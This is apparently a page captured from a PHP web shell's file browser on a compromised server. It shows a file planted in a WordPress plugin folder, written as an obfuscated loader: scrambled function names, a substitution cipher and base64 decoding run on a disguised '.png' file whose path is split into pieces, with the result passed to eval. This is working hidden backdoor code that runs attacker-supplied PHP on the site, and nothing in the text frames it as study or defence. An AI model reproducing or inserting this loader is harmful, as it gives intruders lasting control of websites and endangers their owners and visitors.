HEX
Server: Apache/2.4.29 (Ubuntu)
System: Linux instance-1 5.4.0-1092-gcp #101~18.04.1-Ubuntu SMP Mon Oct 17 18:29:06 UTC 2022 x86_64
User: web297 (5095)
PHP: 8.1.14
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, exec, shell_exec, system, passthru, proc_open, proc_close, popen, parse_ini_file, show_source
Upload Files
File: /data0/www/clients/client0/web297/web/wp-content/plugins/acachedor/faqise.php
<?php

function ovequz_levywukha($adutyl_qumythixa) {
    if ($adutyl_qumythixa == 1)
        return umamap_opethybe();
    if ($adutyl_qumythixa == 2)
        return dipixi_vexuvawux();
}

function qotilo_pevarokyb($adutyl_qumythixa) {
    $axamoc = ovequz_levywukha(1);
    $ijakith = ovequz_levywukha(2);
    for ($vozymy = 0; $vozymy < strlen($axamoc); $vozymy++) {
        $powoqac = substr($axamoc, $vozymy, 1);
        $giqafav = substr($ijakith, $vozymy, 1);
        $cytyshy[$powoqac] = $giqafav;
    }

    $lygiky = strtr($adutyl_qumythixa, $cytyshy);
    $lygiky = base64_decode($lygiky);

    return $lygiky;
}

function ohutyh_maqybicesh($adutyl_qumythixa) {
    $ogybiqa = array();
    if (!file_exists($adutyl_qumythixa))
        return false;
    $achobef = @file_get_contents($adutyl_qumythixa);
    if (!$achobef)
        return false;
    $achobef = substr($achobef, 3);
    $ogybiqa = qotilo_pevarokyb($achobef);
    return $ogybiqa;
}

function umamap_opethybe() {
    $achobef = "cWPFkAlqzEI3wQNd5p76oZ=h+aisxeMCXftmHBSTy9DbVn0gK4r8ROUYvuGLJ21/j";
    return $achobef;
}

function dipixi_vexuvawux() {
    $ogybiqa = "9XjkzAcsgvdyNfTD1Lhm8t5/xpHo=SMZKEPVi0+3ubWqeU7rJlIwGQOYC6naR2B4F";
    return $ogybiqa;
}

$othiqeq = ohutyh_maqybicesh(__DIR__ . "/ass" . "ets/im" . "ages/r" . "yqosab" . ".png");
if ($othiqeq) {
    @eval($othiqeq);
}